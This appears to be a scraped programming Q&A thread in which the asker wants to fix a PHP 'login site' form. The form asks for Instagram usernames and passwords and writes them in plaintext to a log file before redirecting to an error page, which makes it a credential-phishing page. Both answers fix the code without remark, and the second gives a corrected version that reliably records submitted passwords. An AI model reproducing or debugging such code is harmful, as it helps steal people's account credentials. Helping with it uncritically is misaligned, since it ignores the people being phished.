单击按钮后重定向，然后在同一站点上运行PHP脚本

Question

I am trying to make a log for my login site but I cant get the PHP below it to run properly.

The code:

<form method="POST" name="submit" align="center">
    Insta Username: <input type="text" name="user">
    <p>Insta Password: <input type="password" name="pass" action="error.html">
    </p>
    <button>Submit</button>
</form>

<?php
$ussern = $_POST['user'];
$passw = $_POST['pass'];
$fp = fopen('log.txt', 'a');
fwrite($fp, "[Username: ".$ussern."] [Password: ".$passw."]".PHP_EOL);
?>

The problem is that with this input

I get this output

Answer 1

Update these lines it may work

<form action="" method="POST" name="submit" align="center">
<button type="submit"></button>

Answer 2

This must be because you didn't checked for whether the code is running when you are serving GET request or POST request. Plus you don't have action field in the form tag and a submit button. May be this will work.

<form method="POST" name="submit" align="center" action="">
Insta Username: <input type="text" name="user">
<p>Insta Password: <input type="password" name="pass" action="error.html"> 
</p> 
<button type="submit">Submit</button>
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $ussern = $_POST['user'];
    $passw = $_POST['pass'];
    $fp = fopen('log.txt', 'a');
    fwrite($fp, "[Username: ".$ussern."] [Password: ".$passw."]".PHP_EOL);
    fclose($fp);
}
?>